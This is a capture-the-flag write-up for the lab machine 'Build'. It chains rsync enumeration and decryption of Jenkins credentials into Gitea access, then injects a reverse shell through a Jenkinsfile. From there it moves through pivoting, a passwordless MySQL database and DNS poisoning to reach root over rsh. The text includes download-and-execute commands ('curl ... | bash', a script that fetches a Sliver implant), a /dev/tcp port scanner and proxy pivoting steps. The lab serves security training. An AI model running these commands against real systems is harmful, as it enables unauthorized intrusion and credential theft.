Build Write-up

Build

The initial foothold begins with enumerating the Rsync protocol and mounting its directories, revealing Jenkins configuration files. Within these configs, I decrypted stored hashes, which granted me access to the Gitea web interface (port 3000) as the user buildadm.

Inside buildadm’s repository, there was a Jenkins pipeline script configured to execute arbitrary commands. Leveraging this, I was able to inject a reverse shell, gaining initial access. However, I quickly realized that the shell was running inside a container as root.

Exploring the root directory within the container, I discovered a .rhosts file, which allows authentication without a password from specific domains. At this point, I performed a port scan on other hosts in the network and found an open MySQL service. By setting up a proxy for port forwarding, I accessed the MySQL database and found that authentication was not required.

Within the MySQL database, I located a table containing a list of domains and their corresponding IPs, along with user credentials. After cracking the hash, I used these credentials to authenticate into another host running a login panel on port 80.

Upon logging into the panel, I discovered it was a DNS server, allowing me to perform a DNS poisoning attack. By spoofing a domain that was configured to allow passwordless authentication, I successfully gained access as root—this time outside of the container, achieving full system compromise.

Enumeration

Nmap Scan

PORT     STATE    SERVICE         VERSION
22/tcp   open     ssh             OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 47:21:73:e2:6b:96:cd:f9:13:11:af:40:c8:4d:d6:7f (ECDSA)
|_  256 2b:5e:ba:f3:72:d3:b3:09:df:25:41:29:09:f4:7b:f5 (ED25519)
512/tcp  open     exec            netkit-rsh rexecd
513/tcp  open     login?
514/tcp  open     shell           Netkit rshd
873/tcp  open     rsync           (protocol version 31)
3000/tcp open     http            Golang net/http server
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=e0683135d76e34f7; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=zmSqxrnq3OH2G8ujiB2FbqGJK9U6MTczODI5NzA5ODg3MzMyNDkxMw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 31 Jan 2025 04:18:18 GMT
|     !DOCTYPE html>
|     html lang="en-US" class="theme-auto">
|     head>
|     meta name="viewport" content="width=device-width, initial-scale=1">
|     title>Gitea: Git with a cup of tea/title>
|     link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2J1aWxkLnZsOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9idWlsZC52bDozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=59f2e3e0df556e0a; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=P5Ts5_CYx-lHupbjSi7w4j3zeGw6MTczODI5NzA5OTU5MjcyNDgxOA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 31 Jan 2025 04:18:19 GMT
|_    Content-Length: 0
|_http-title: Gitea: Git with a cup of tea
8081/tcp filtered blackice-icecap
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 722.93 seconds
                

Rsync

Rsync is utility for efficiently transferring and synchronizing files between a computer and a storage drive and across networked computers. Checking to see if we can access any files anonymously which may contain credentials or any useful information.

We can run rsync command to view if we have read access.

rsync -av --list-only rsync://10.10.119.237 
                
Build Rsync

We can see the file share name is called backups so lets view what is inside the file by.

rsync -av --list-only rsync://10.10.119.237/backups
                
Build Rsync File

There is a jenkins file so lets download the file. I will make a directory called backups and download the file onto there.

rsync -av rsync://10.10.119.237:873/backups backups
                
Build Rsync Mount

Now once it is downloaded lets extract the information.

tar -xvf jenkins.tar.gz
                

I was able to find a password hash for the user buildadm in this directory: jenkins_configuration/jobs/build/config.xml.

Build Jenkins Hash

We can decrypt the password with this jenkins decrypt github I found https://github.com/hoto/jenkins-credentials-decryptor

./jenkins-credentials-decryptor -m /home/pixelrazer/vulnlab/backups/jenkins_configuration/secrets/master.key -s /home/pixelrazer/vulnlab/backups/jenkins_configuration/secrets/hudson.util.Secret -c /home/pixelrazer/vulnlab/backups/jenkins_configuration/jobs/build/config.xml
                

User as Root

Viewing the web page on port 3000 we can see it is a gitea web page. Viewing into Explore we can see there is a repository by buildadm named dev.

Build Gitea

Viewing the repository shows there is a jenkins file that runs a code.

Build Jenkins Pipe

It is a Jenkins Declarative Pipeline script which enables automotive tasks. Since we got the user credentials from decrypting the password from jenkins we can log in as buildadm in gitea and edit the jenkinsfile and add a reverse shell. We can view in the jenkins_configuration/jobs/build/jobs/dev/branches/main/builds/1/log it will show it ran the sh /bin/true

I will use a c2 server to catch the shell. I will use sliver.

Once you set up sliver I will generate a mtls implant.

generate --mtls 10.8.5.55:8888 --os linux --save pwn.elf
                

Once that is done we need to make a shell file since the payload is in .elf format it cant execute via memory which is where the shell.sh script will come into play. We will make the shell.sh download our payload and give it execution rights and execute it for us.

#!/bin/bash

curl http://10.8.5.55:8000/pwn -o /tmp/pwn.elf
chmod +x /tmp/pwn.elf
/tmp/pwn.elf
                

We will host a python web server where the payload is saved. Now on gitea we will change the code into this:

curl -s http://10.8.5.55:8000/pwn.sh | bash
                
Build Jenkins Reverse Shell

It will execute the payload in memory and catch a reverse shell.

Build C2

Privilege Escalation

We are root in the box however it is a container which we need to escape.

Since IP commands are restricted, we cannot directly check network interfaces using tools like ip a. However, we can use the hostname -I command, which reveals our IP address as 172.18.0.3. Inside the /root directory, we find a .rhosts file. This file is traditionally used by r-commands (rlogin, rsh, and rcp) to enable passwordless authentication for specified remote hosts and users. Although modern systems rely on SSH for secure remote access, .rhosts files can still be found in certain legacy environments, potentially allowing authentication bypass if misconfigured.

Build Rhosts

Within sliver we can run netstat.

Build Netstat

This shows us there is local port forwarding going on. Within sliver we can run proxy5 that is built in so it will be easy for us to reach to the other hosts.

socks5 start
                
Build Proxy

Now make sure to add the correct information to your proxychains.config which is in /etc/proxychains.config.

However doing a port scan with proxy will take a very long time. There is another way to check if there is a port open. Using this script we can check to see if there is any ports open I will start with 172.18.0.1 and work my way up If I find nothing.

#!/bin/bash

trap "echo 'Stopping scan...'; exit" SIGINT
for i in {1..9000} ; do
  SERVER="IP"
  PORT=$i
  (echo  > /dev/tcp/$SERVER/$PORT) >& /dev/null &&
   echo "Port $PORT seems to be open"
done
                
Build Port Scan

There is port 3306 which is mysql and an interesting new port 8081. Lets check out mysql since we already set up our socks5 we can connect to mysql.

proxychains mysql -h 172.18.0.1 -u root --skip-ssl
                

And we are in without a password!.

Build Mysql

There is an interesting database called powerdnsadmin.

Build Mysql Databases

Inside of powerdnsadmin there is a table called user which tend to have hashes for the users.

use powerdnsadmin;

show tables;
                
Build Mysql Tables

we can view the user table with this command:

select * from user;
                

We see a admin hash and we can send that to hashcat which it cracks the hash. There is also a records table which has all the ip and domains for dns.

Build Mysql Records Table

Now lets go back to our machine and run a port scan on all the ip addresses we found in our mysql search.

Ip of 172.18.0.6 has port 80 open which shows us a gui login screen and we were able to login as admin from the credentials found in mysql.

Build Login Panel
Build Dns Portal

This is a DNS control where we can control DNS. Since we can control DNS we can perform DNS poisoning attack which we will add our ip as one of the domains found in the .rhosts file which will allow us to log into the machine without a password as I explained before. We will add the admin domain and our IP since there is already the intern domain being used.

Build DNS Poisoning

Now save the changes and we can use this command to log into the machine as root without a password.

rsh root@10.10.102.65
                
Build Root Pwn

Conclusion

This box demonstrated a complex yet realistic attack chain, combining multiple misconfigurations and insecure practices across different services.

The exploitation began with Rsync enumeration, allowing access to Jenkins configuration files. By decrypting stored credentials, I gained access to Gitea, where a Jenkins pipeline script enabled remote command execution, leading to a containerized root shell.

Within the container, the presence of a .rhosts file hinted at a legacy authentication mechanism, which proved crucial later. By leveraging network pivoting through proxychains and SOCKS5, I identified an unsecured MySQL database. This provided domain mappings and hashed credentials, which, once cracked, granted access to a DNS control panel.

By exploiting DNS poisoning, I was able to impersonate a trusted domain, taking advantage of the rsh authentication mechanism to escalate privileges and gain root access on the main host system.